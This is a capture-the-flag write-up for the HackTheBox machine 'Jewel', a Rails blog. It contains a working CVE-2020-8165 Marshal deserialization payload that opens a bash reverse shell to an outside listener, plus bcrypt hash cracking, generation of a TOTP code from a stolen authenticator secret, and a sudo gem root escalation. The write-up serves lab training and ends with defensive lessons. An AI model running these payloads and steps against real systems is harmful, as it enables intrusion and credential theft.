HTB: Jewel Writeup
Jewel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Jewel |
| OS | Linux |
| Difficulty | Medium |
| Points | 282 |
| Release Date | 3rd February 2021 |
| IP Address | 10.10.10.211 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Jewel is a medium difficulty Linux machine that requires source code analysis of a Ruby on Rails web application to identify CVE-2020-8165, an unsafe deserialization vulnerability in RedisCacheStore. By crafting a malicious serialized object and exploiting a logic flaw in the user update function, we achieve remote code execution as the unprivileged user bill. Privilege escalation leverages a misconfiguration where bill can execute the gem command as root via sudo, bypassing two-factor authentication by recovering the user’s password from a database dump and using Google Authenticator to generate a valid OTP.
TL;DR: GitWeb enumeration → Source code analysis (CVE-2020-8165) → Malicious Marshal payload in user update → RCE as bill → Password recovery from SQL dump → Google Authenticator OTP bypass → sudo gem abuse → root shell
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.10.211Key findings from the scan:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.211 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.10.211Results:
- Port 8000 - GitWeb service running (Git repository browser)
- Port 8080 - Phusion Passenger running a Rails web application
Service Enumeration
GitWeb (Port 8000):
Accessing http://10.10.10.211:8000/gitweb/ reveals a repository named “BLOG!” containing the full source code of the Rails application. The snapshot functionality allows us to download the entire repository:
wget 'http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -O blog.tgztar xvzf blog.tgzcd .git-HEAD-5d6f436/Rails Application (Port 8080): A blog application with user registration and authentication. The application allows users to create accounts and edit user profiles.
Vulnerability Assessment
Through source code analysis of the downloaded Rails project, several key vulnerabilities were identified:
- CVE-2020-8165 - Unsafe deserialization in RedisCacheStore with
raw: trueoption - Logic flaw in user update function - Cached values persist despite failed database validation
- Accessible database dump -
/var/backups/dump_2020-08-27.sqlcontains user credentials - Sudo misconfiguration - User
billcan rungemas root
Initial Foothold
Source Code Analysis
Examining the Rails Gemfile confirms the application uses Rails 6.0.3, released in 2020, which is vulnerable to CVE-2020-8165. Searching the codebase for the vulnerable pattern:
grep -R 'raw: true' .Two vulnerable instances are found in app/controllers/application_controller.rb and app/controllers/users_controller.rb. The critical flaw is in the update method:
def update @user = User.find(params[:id]) if @user && @user == current_user cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0") cache.delete("username_#{session[:user_id]}") @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]} if @user.update(user_params) flash[:success] = "Your account was updated successfully" redirect_to articles_path else cache.delete("username_#{session[:user_id]}") render 'edit' end else flash[:danger] = "Not authorized" redirect_to articles_path endendThe vulnerability chain:
- User-supplied username is cached (with
raw: true, triggering deserialization) - Database validation occurs on the update
- If validation fails, the cache should be deleted
- However, the 500 error aborts the operation before deletion completes
- Malicious serialized objects remain in cache and are deserialized on subsequent requests
Exploitation Path
Step 1: Create a user account
Navigate to http://10.10.10.211:8080/signup and register a new account (e.g., username: attacker, password: password123).
Step 2: Generate malicious payload
On the attacking machine, install Rails and generate the CVE-2020-8165 payload:
apt install railsrails new exploitcd exploitrails consoleWithin the Rails console, create a reverse shell payload:
# Start a netcat listener first: nc -nvlp 1234
code='`/bin/bash -c "bash -i &>/dev/tcp/10.10.14.3/1234 0>&1"`'erb=ERB.allocateerb.instance_variable_set(:@src, code)erb.instance_variable_set(:@filename, "1")erb.instance_variable_set(:@lineno, 1)payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result))require 'uri'puts URI.encode_www_form(payload: payload)This generates a URL-encoded payload that, when deserialized, will execute our bash command.
Step 3: Deliver payload via user update
Log into the Rails application and navigate to the profile edit page (http://10.10.10.211:8080/users/[ID]/edit). Intercept the update request using Burp Suite. Replace the username parameter with the encoded payload from Step 2.
Forward the request. The malicious serialized object is cached (Step 2 fails due to validation), and remains in Redis. On the next request to the application, the cached payload is deserialized in current_username, triggering code execution.
Result: Reverse shell connection as user bill:
bash-5.0$ whoamibillbash-5.0$ iduid=1000(bill) gid=1000(bill) groups=1000(bill)Privilege Escalation
Credential Recovery from Database Dump
Enumerate the filesystem for backup files:
cat /var/backups/dump_2020-08-27.sql | grep -A 5 "INSERT INTO users"The SQL dump contains bcrypt password hashes for users bill and jennifer:
bill: $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxWjennifer: $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDOPassword Cracking
Use John The Ripper to crack the hashes:
echo '$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW' > hashesecho '$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO' >> hashesjohn --wordlist=/usr/share/wordlists/rockyou.txt hashesResult: Both users share the password spongebob
Bypassing Two-Factor Authentication
Upgrade the shell to an interactive TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'Check sudo privileges:
sudo -lThe system prompts for a verification code (TOTP from Google Authenticator). Check the home directory:
cat ~/.google_authenticatorThe file contains the secret key used by Google Authenticator. Extract the base32 secret and generate a valid OTP:
# On attacking machine:apt install oathtooloathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'This outputs a 6-digit code valid for 30 seconds. Use this code when prompted by sudo -l:
sudo -l# [sudo] password for bill: spongebob# Verification code: [output from oathtool]The output reveals:
User bill may run the following commands as root: (root) /usr/bin/gemExploiting gem Command
According to GTFOBins, the gem command can be abused to spawn a shell:
sudo gem open -e "/bin/sh -c /bin/sh" rdocThis opens a text editor (configured to /bin/sh -c /bin/sh) with gem’s help documentation, resulting in a root shell.
Result: Root shell achieved:
# whoamiroot# iduid=0(root) gid=0(root) groups=0(root)Attack Chain Summary
Port Enumeration (8000, 8080) ↓GitWeb Access & Repository Download ↓Source Code Analysis (Rails application) ↓Identify CVE-2020-8165 (unsafe deserialization) ↓User Registration & Profile Access ↓Malicious Marshal Payload Generation ↓Payload Injection via User Update ↓RCE as bill (Reverse Shell) ↓SQL Dump Analysis (/var/backups/dump_2020-08-27.sql) ↓Password Cracking (John - rockyou.txt) ↓Google Authenticator Secret Extraction ↓OTP Generation (oathtool) ↓Sudo Verification Bypass (with OTP + password) ↓Gem Command Exploitation (GTFOBins) ↓Root Shell AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
wget | Repository snapshot download |
tar | Archive extraction |
grep | Source code vulnerability pattern matching |
rails | Rails console for payload generation |
burp-suite | HTTP request interception and modification |
netcat | Reverse shell listener |
john | Bcrypt hash cracking |
oathtool | TOTP/OTP generation from secrets |
python3 | TTY shell upgrade |
sudo | Privilege escalation command execution |
Key Learnings
Techniques Practiced
- Source code review - Identifying security flaws in web application code
- CVE-2020-8165 exploitation - Marshal deserialization in Ruby on Rails
- Logic flaw analysis - Understanding control flow and edge cases leading to vulnerability
- Credential recovery - Extracting and cracking credentials from database backups
- OTP generation - Bypassing TOTP-based 2FA using recovered secrets
- GTFOBins methodology - Identifying privilege escalation via misconfigured commands
- TTY shell upgrades - Interactive shell handling for complex authentication flows
Lessons Learned
- Never trust user input - The
raw: trueparameter in RedisCacheStore should only be used with sanitized data; user-supplied data must be validated before caching - Transaction consistency matters - The user update function assumes cache cleanup will always occur, but fails to account for exception handling that aborts the operation
- Backup files are sensitive - Database dumps should never be world-readable and should be deleted after use; they often contain credentials
- 2FA is only as strong as the secret - Storing authenticator secrets in plaintext files defeats their purpose if the system is compromised
- Principle of least privilege - Allowing unprivileged users to run powerful tools like
gemas root should include additional restrictions or monitoring - Layered authentication - While OTP adds a security layer, it doesn’t prevent exploitation if the underlying secret is accessible
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>